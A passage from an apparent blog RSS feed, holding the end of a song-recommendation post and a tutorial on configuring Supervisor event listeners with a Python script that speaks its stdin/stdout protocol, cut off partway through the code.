Misirlou - Ashar Kazi & Shruti Naik (cover)#

Redbone - Childish Gambino (ukulele cover)#

Do reach out to me @mrkaran_ with your dose of music reccos.
Fin!]]></description>
            <content:encoded><![CDATA[<p>Ive looped through Nescafe Basement like 100 times the past two weeks and still cant get enough of it. This is the kind of music I like, the kind that just grows on you until you loop endlessly and then hate it <i class="em em-stuck_out_tongue_closed_eyes"></i></p>
<p>Anyway, the following is a list of songs that I have discovered and liked the most in the past two weeks.</p>
<h3 id="tattva-aswekeepsearching">Tattva - aswekeepsearching<a class="zola-anchor" href="#tattva-aswekeepsearching" aria-label="Anchor link for: tattva-aswekeepsearching">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=kjxhKCGwiCQ"><img src="https://img.youtube.com/vi/kjxhKCGwiCQ/0.jpg" alt="Tattva" /></a></p>
<h3 id="koothu-over-coffee-agam">Koothu Over Coffee - Agam<a class="zola-anchor" href="#koothu-over-coffee-agam" aria-label="Anchor link for: koothu-over-coffee-agam">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=BMC5MU6exiw"><img src="https://img.youtube.com/vi/BMC5MU6exiw/0.jpg" alt="Tattva" /></a></p>
<h3 id="tere-ishq-mein-jo-bhi-nescafe-basement">Tere Ishq Mein Jo Bhi - Nescafe Basement<a class="zola-anchor" href="#tere-ishq-mein-jo-bhi-nescafe-basement" aria-label="Anchor link for: tere-ishq-mein-jo-bhi-nescafe-basement">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=Y9Mzc_DlaWY"><img src="https://img.youtube.com/vi/Y9Mzc_DlaWY/0.jpg" alt="Tere Ishq Mein Jo Bhi" /></a></p>
<h3 id="houndmouth-sedona">Houndmouth - Sedona<a class="zola-anchor" href="#houndmouth-sedona" aria-label="Anchor link for: houndmouth-sedona">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=Y8wifV5RYr8"><img src="https://img.youtube.com/vi/Y8wifV5RYr8/0.jpg" alt="Houndmouth" /></a></p>
<h3 id="heavy-collective-soul">Heavy - Collective Soul<a class="zola-anchor" href="#heavy-collective-soul" aria-label="Anchor link for: heavy-collective-soul">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=46g8zDcziL0"><img src="https://img.youtube.com/vi/46g8zDcziL0/0.jpg" alt="Heavy" /></a></p>
<h3 id="the-youth-george-taylor">The Youth - George Taylor<a class="zola-anchor" href="#the-youth-george-taylor" aria-label="Anchor link for: the-youth-george-taylor">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=nQ9kaCre3qM"><img src="https://img.youtube.com/vi/nQ9kaCre3qM/0.jpg" alt="The Youth" /></a></p>
<h3 id="porcupine-pigeons-playing-ping-pong">Porcupine - Pigeons Playing Ping Pong<a class="zola-anchor" href="#porcupine-pigeons-playing-ping-pong" aria-label="Anchor link for: porcupine-pigeons-playing-ping-pong">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=8YgfgRaKwU0"><img src="https://img.youtube.com/vi/8YgfgRaKwU0/0.jpg" alt="Porcupine" /></a></p>
<h3 id="misirlou-ashar-kazi-shruti-naik-cover">Misirlou - Ashar Kazi &amp; Shruti Naik (cover)<a class="zola-anchor" href="#misirlou-ashar-kazi-shruti-naik-cover" aria-label="Anchor link for: misirlou-ashar-kazi-shruti-naik-cover">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=HFozPnOI6zk"><img src="https://img.youtube.com/vi/HFozPnOI6zk/0.jpg" alt="Misirlou" /></a></p>
<h3 id="redbone-childish-gambino-ukulele-cover">Redbone - Childish Gambino (ukulele cover)<a class="zola-anchor" href="#redbone-childish-gambino-ukulele-cover" aria-label="Anchor link for: redbone-childish-gambino-ukulele-cover">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=dBf8wqlXx3c"><img src="https://img.youtube.com/vi/dBf8wqlXx3c/0.jpg" alt="Redbone" /></a></p>
<p>Do reach out to me <a rel="external" href="https://twitter.com/mrkaran_">@mrkaran_</a> with your dose of music reccos.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Receiving notifications from Supervisor]]></title>
            <link>https://mrkaran.dev/posts/supervisor-notifications/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/supervisor-notifications/</guid>
            <pubDate>Sun, 03 Jun 2018 05:27:55 GMT</pubDate>
            <description><![CDATA[Supervisor Events#
I had a seemingly simple task which was to receive notifications any time a process managed by Supervisor restarts. I wanted a generic solution where I could get notifications for any change in the process state. Supervisor Events saved my day, although I would admit it wasn’t straightforward to set up.
Supervisor uses STDIN/STDOUT mechanism to communicate with the event listener. You need to configure your event listener in such a way that it can understand the STDIN sent by Supervisor and also communicate back using STDOUT. You can write this event handler in any language you like as long as you conform to the specially formatted messages that Supervisor sends and expects. I had struggled the most at this step and my google-fu didn’t help much in this case.
Supervisor by default will send these events even if no listener is configured. Once you have your own listener setup, you can execute any task you want, eg: send email/telegram/slack messages etc.
In order to configure your event listener, you need to add it to your supervisor.conf. Here’s an example configuration:
[eventlistener:wowevent]
command=/home/work/testevent/test.py
events=PROCESS_STATE_STARTING
process_name=%(program_name)s_%(process_num)s
numprocs=1
autorestart=true
stderr_logfile=/home/work/testevent/logs/event_err.log
stdout_logfile=/home/work/testevent/logs/event.log
For the program to know that it has to send a notification at wowevent pool, you need to add the events key to the program section of supervisor.conf.
[program:myprog]
...
events=PROCESS_STATE_STARTING
...
Now everytime myprog is about to start, it will send an event to wowevent event pool. Your event listener which is configured at /home/work/testevent/test.py will handle the notification and execute tasks which you want to perform.
There are a bunch of event states that Supervisor captures, I was interested in knowing when my process has started, so I used PROCESS_STATE_RUNNING. You can take a look at all different event types here.
During all this experimentation I came across a bug (which I later found it is a known issue, and an open bug since 4 years now). If you’ve been using Supervisor I am sure at least once you’ve been bitten by not rereading the config file and wondering why Supervisor isn’t picking up changes in config file when you restart the Supervisor. So reread and update becomes a muscle memory after this event .
The bug with events is that if you make any changes to the event group, reread doesn’t pick up this change. I initially thought this must be the standard way Supervisor is behaving because I didn’t change any program group. I randomly decided to change the event listener name and BAM! Supervisor read the new configuration and everything suddenly works! ARGH. Why do complex problems have such simple solutions  (not a solution, rather a workaround, but you get the drift right?)
Supervisor Event Listener Protocol#
Supervisor sends a header which is a key value pair of meta-attributes about the process and event. This header looks something like
ver:3.0 server:supervisor serial:208 pool:mylistener poolserial:0 eventname:PROCESS_STATE_RUNNING len:69
The event listener mylistener will be in ACKNOWLEDGED state when Supervisor sends the event PROCESS_STATE_RUNNING. Now that the myslistener state has received this ACKNOWLEDGED state, the event listener will send READY back to Supervisor. This is to let Supervisor know that the listener has received the notification.
Supervisor puts the listener to BUSY state now and here you can do write your custom task. Supervisor waits for the task to get executed and when it does, the listener needs to communicate back with the result. This process is one full request-response cycle.
Let us write a simple Python script which will listen to Supervisor event notification and communicate back, all in a protocol Supervisor understands.
import sys
import requests

import logging
logger = logging.getLogger('event_listener')
handler = logging.FileHandler('/home/user/prod/events/logs/response.log')
formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')
handler.setFormatter(formatter)
logger.addHandler(handler)
logger.setLevel(logging.DEBUG)
Here I am just setting up basic logging structure since I want to keep the stdout messages separate from what Supervisor uses.
def write_stdout(s):
    # only eventlistener protocol messages may be sent to stdout
    sys.stdout.write(s)
    sys.stdout.flush()

def write_stderr(s):
    sys.stderr.write(s)
    sys.stderr.flush()
We have written helper functions which will be used to communicate with Supervisor. Now comes the main part (Sorry for bad pun! )
def main():
    while 1:
        # Hey Supervisor, I'm ready for some action
        write_stdout('READY\n')

        # Reading the header from STDIN
        line = sys.stdin.readline()
        write_stderr(line)

        # read event payload and print it to stderr
        headers = dict([ x.split(':') for x in line.split() ])
        data = sys.stdin.read(int(headers['len']))
        write_stderr(data)

        # add your events here
        notify_user()

        # transition from READY to ACKNOWLEDGED
        write_stdout('RESULT 2\nOK')
        logger.debug("It's all fine and dandy")

if __name__ == '__main__':
    main()
Let us break this into pieces.
write_stdout('READY\n')
We flush READY with a linefeed character (\n) to STDOUT. Supervisor has put mylistener to BUSY state now.
line = sys.stdin.readline()
write_stderr(line)
line would be the header which we discussed previously.
data = sys.stdin.read(int(headers['len']))
This part is interesting. Here, we capture the len key from the header and read the next STDIN line up to this many chars. The data would consist of our event payload.
Event payload looks something like:
processname:prog-restartv3_0 groupname:prog-restartv3 from_state:STOPPED tries:0ver:3.0 server:supervisor serial:25 pool:prog-restartv3 poolserial:3 eventname:PROCESS_STATE_STARTING len:76`
notify_user()
This is the handler where you can send an email, send a request to API, log it to file etc.
write_stdout('RESULT 2\nOK')
Finally, we tell Supervisor to put the listener from BUSY to ACKNOWLEDGED state, by sending a result structure. The result could be FAIL or OK, so you need to send RESULT followed by the length of the state variable. For example for OK you will send RESULT 2\nOK but for FAIL you have to send RESULT 4\nFAIL.
That’s pretty much all you need to start receiving notifications from Supervisor every time your program changes its state. If you found this article useful, I’d love if you share this on Twitter or Facebook and let your friends know about it too.]]></description>
            <content:encoded><![CDATA[<p><img src="https://mrkaran.dev/posts/supervisor-notifications/images/supervisor-zine.jpg" alt="Supervisor Events Zine" title="Supervisor Events Zine" /></p>
<h3 id="supervisor-events">Supervisor Events<a class="zola-anchor" href="#supervisor-events" aria-label="Anchor link for: supervisor-events">#</a></h3>
<p>I had a seemingly simple task which was to receive notifications any time a process managed by Supervisor restarts. I wanted a generic solution where I could get notifications for any change in the process state. <code>Supervisor Events</code> saved my day, although I would admit it wasn’t straightforward to set up.</p>
<p>Supervisor uses <code>STDIN/STDOUT</code> mechanism to communicate with the event listener. You need to configure your event listener in such a way that it can understand the <code>STDIN</code> sent by Supervisor and also communicate back using <code>STDOUT</code>. You can write this event handler in any language you like as long as you conform to the specially formatted messages that Supervisor sends and expects. I had struggled the most at this step and my <code>google-fu</code> didn’t help much in this case.</p>
<p>Supervisor by default will send these events even if no listener is configured. Once you have your own listener setup, you can execute any task you want, eg: send email/telegram/slack messages etc.</p>
<p>In order to configure your event listener, you need to add it to your <code>supervisor.conf</code>. Here’s an example configuration:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>[</span><span>eventlistener:wowevent</span><span>]</span></span>
<span class="giallo-l"><span>command</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">w</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">k</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">y</span></span>
<span class="giallo-l"><span>events</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">P</span><span style="color: light-dark(#032F62, #96D0FF);">R</span><span style="color: light-dark(#032F62, #96D0FF);">O</span><span style="color: light-dark(#032F62, #96D0FF);">C</span><span style="color: light-dark(#032F62, #96D0FF);">E</span><span style="color: light-dark(#032F62, #96D0FF);">S</span><span style="color: light-dark(#032F62, #96D0FF);">S</span><span style="color: light-dark(#032F62, #96D0FF);">_</span><span style="color: light-dark(#032F62, #96D0FF);">S</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">A</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">E</span><span style="color: light-dark(#032F62, #96D0FF);">_</span><span style="color: light-dark(#032F62, #96D0FF);">S</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">A</span><span style="color: light-dark(#032F62, #96D0FF);">R</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">I</span><span style="color: light-dark(#032F62, #96D0FF);">N</span><span style="color: light-dark(#032F62, #96D0FF);">G</span></span>
<span class="giallo-l"><span>process_name</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">%</span><span>(</span><span style="color: light-dark(#6F42C1, #F69D50);">program_name</span><span>)</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">_</span><span style="color: light-dark(#032F62, #96D0FF);">%</span><span>(</span><span style="color: light-dark(#6F42C1, #F69D50);">process_num</span><span>)</span><span style="color: light-dark(#032F62, #96D0FF);">s</span></span>
<span class="giallo-l"><span>numprocs</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">1</span></span>
<span class="giallo-l"><span>autorestart</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">e</span></span>
<span class="giallo-l"><span>stderr_logfile</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">w</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">k</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">g</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">_</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">g</span></span>
<span class="giallo-l"><span>stdout_logfile</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">w</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">k</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">g</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">g</span></span></code></pre>
<p>For the program to know that it has to send a notification at <code>wowevent</code> pool, you need to add the <code>events</code> key to the <code>program</code> section of <code>supervisor.conf</code>.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>[</span><span>program:myprog</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span></span>
<span class="giallo-l"><span>events</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">P</span><span style="color: light-dark(#032F62, #96D0FF);">R</span><span style="color: light-dark(#032F62, #96D0FF);">O</span><span style="color: light-dark(#032F62, #96D0FF);">C</span><span style="color: light-dark(#032F62, #96D0FF);">E</span><span style="color: light-dark(#032F62, #96D0FF);">S</span><span style="color: light-dark(#032F62, #96D0FF);">S</span><span style="color: light-dark(#032F62, #96D0FF);">_</span><span style="color: light-dark(#032F62, #96D0FF);">S</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">A</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">E</span><span style="color: light-dark(#032F62, #96D0FF);">_</span><span style="color: light-dark(#032F62, #96D0FF);">S</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">A</span><span style="color: light-dark(#032F62, #96D0FF);">R</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">I</span><span style="color: light-dark(#032F62, #96D0FF);">N</span><span style="color: light-dark(#032F62, #96D0FF);">G</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span></span></code></pre>
<p>Now everytime <code>myprog</code> is about to start, it will send an event to <code>wowevent</code> event pool. Your event listener which is configured at <code>/home/work/testevent/test.py</code> will handle the notification and execute tasks which you want to perform.</p>
<p>There are a bunch of event states that Supervisor captures, I was interested in knowing when my process has started, so I used <code>PROCESS_STATE_RUNNING</code>. You can take a look at all different event types <a rel="external" href="http://supervisord.org/events.html#event-types">here</a>.</p>
<p>During all this experimentation I came across a bug (which I later found it is a <a rel="external" href="https://github.com/Supervisor/supervisor/issues/339">known issue</a>, and an open bug since 4 years now). If you’ve been using Supervisor I am sure at least once you’ve been bitten by not <code>rereading</code> the config file and wondering why Supervisor isn’t picking up changes in config file when you restart the Supervisor. So <code>reread</code> and <code>update</code> becomes a muscle memory after this event <i class="em em-stuck_out_tongue_closed_eyes"></i>.
The bug with events is that if you make any changes to the event group, <code>reread</code> doesn’t pick up this change. I initially thought this must be the standard way Supervisor is behaving because I didn’t change any <code>program</code> group. I randomly decided to change the event listener name and BAM! Supervisor read the new configuration and everything suddenly works! ARGH. Why do complex problems have such simple solutions <i class="em em-smiley"></i> (not a solution, rather a workaround, but you get the drift right?)</p>
<h3 id="supervisor-event-listener-protocol">Supervisor Event Listener Protocol<a class="zola-anchor" href="#supervisor-event-listener-protocol" aria-label="Anchor link for: supervisor-event-listener-protocol">#</a></h3>
<p>Supervisor sends a header which is a key value pair of meta-attributes about the process and event. This header looks something like</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">ver:3.0</span><span style="color: light-dark(#032F62, #96D0FF);"> server:supervisor</span><span style="color: light-dark(#032F62, #96D0FF);"> serial:208</span><span style="color: light-dark(#032F62, #96D0FF);"> pool:mylistener</span><span style="color: light-dark(#032F62, #96D0FF);"> poolserial:0</span><span style="color: light-dark(#032F62, #96D0FF);"> eventname:PROCESS_STATE_RUNNING</span><span style="color: light-dark(#032F62, #96D0FF);"> len:69</span></span></code></pre>
<p>The event listener <code>mylistener</code> will be in <code>ACKNOWLEDGED</code> state when Supervisor sends the event <code>PROCESS_STATE_RUNNING</code>. Now that the <code>myslistener</code> state has received this <code>ACKNOWLEDGED</code> state, the event listener will send <code>READY</code> back to Supervisor. This is to let Supervisor know that the listener has received the notification.
Supervisor puts the listener to <code>BUSY</code> state now and here you can do write your custom task. Supervisor waits for the task to get executed and when it does, the listener needs to communicate back with the result. This process is one full request-response cycle.</p>
<p>Let us write a simple Python script which will listen to Supervisor event notification and communicate back, all in a protocol Supervisor understands.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> sys</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> requests</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> logging</span></span>
<span class="giallo-l"><span>logger</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> logging</span><span>.</span><span>getLogger</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">event_listener</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span>handler</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> logging</span><span>.</span><span>FileHandler</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">/home/user/prod/events/logs/response.log</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span>formatter</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> logging</span><span>.</span><span>Formatter</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#005CC5, #F47067);">%(asctime)s</span><span style="color: light-dark(#005CC5, #F47067);"> %(levelname)s</span><span style="color: light-dark(#005CC5, #F47067);"> %(message)s</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span>handler</span><span>.</span><span>setFormatter</span><span>(</span><span>formatter</span><span>)</span></span>
<span class="giallo-l"><span>logger</span><span>.</span><span>addHandler</span><span>(</span><span>handler</span><span>)</span></span>
<span class="giallo-l"><span>logger</span><span>.</span><span>setLevel</span><span>(</span><span>logging</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">DEBUG</span><span>)</span></span></code></pre>
<p>Here I am just setting up basic logging structure since I want to keep the <code>stdout</code> messages separate from what Supervisor uses.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> write_stdout</span><span>(</span><span>s</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> only eventlistener protocol messages may be sent to stdout</span></span>
<span class="giallo-l"><span>    sys</span><span>.</span><span>stdout</span><span>.</span><span>write</span><span>(</span><span>s</span><span>)</span></span>
<span class="giallo-l"><span>    sys</span><span>.</span><span>stdout</span><span>.</span><span>flush</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> write_stderr</span><span>(</span><span>s</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span>    sys</span><span>.</span><span>stderr</span><span>.</span><span>write</span><span>(</span><span>s</span><span>)</span></span>
<span class="giallo-l"><span>    sys</span><span>.</span><span>stderr</span><span>.</span><span>flush</span><span>(</span><span>)</span></span></code></pre>
<p>We have written helper functions which will be used to communicate with Supervisor. Now comes the <code>main</code> part (Sorry for bad pun! <i class="em em-blush"></i>)</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> main</span><span>(</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    while</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        #</span><span style="color: light-dark(#6A737D, #768390);"> Hey Supervisor, I&#39;m ready for some action</span></span>
<span class="giallo-l"><span>        write_stdout</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">READY</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        #</span><span style="color: light-dark(#6A737D, #768390);"> Reading the header from STDIN</span></span>
<span class="giallo-l"><span>        line</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> sys</span><span>.</span><span>stdin</span><span>.</span><span>readline</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>        write_stderr</span><span>(</span><span>line</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        #</span><span style="color: light-dark(#6A737D, #768390);"> read event payload and print it to stderr</span></span>
<span class="giallo-l"><span>        headers</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> dict</span><span>(</span><span>[</span><span> x</span><span>.</span><span>split</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> for</span><span> x</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> line</span><span>.</span><span>split</span><span>(</span><span>)</span><span> ]</span><span>)</span></span>
<span class="giallo-l"><span>        data</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> sys</span><span>.</span><span>stdin</span><span>.</span><span>read</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">int</span><span>(</span><span>headers</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">len</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span>        write_stderr</span><span>(</span><span>data</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        #</span><span style="color: light-dark(#6A737D, #768390);"> add your events here</span></span>
<span class="giallo-l"><span>        notify_user</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
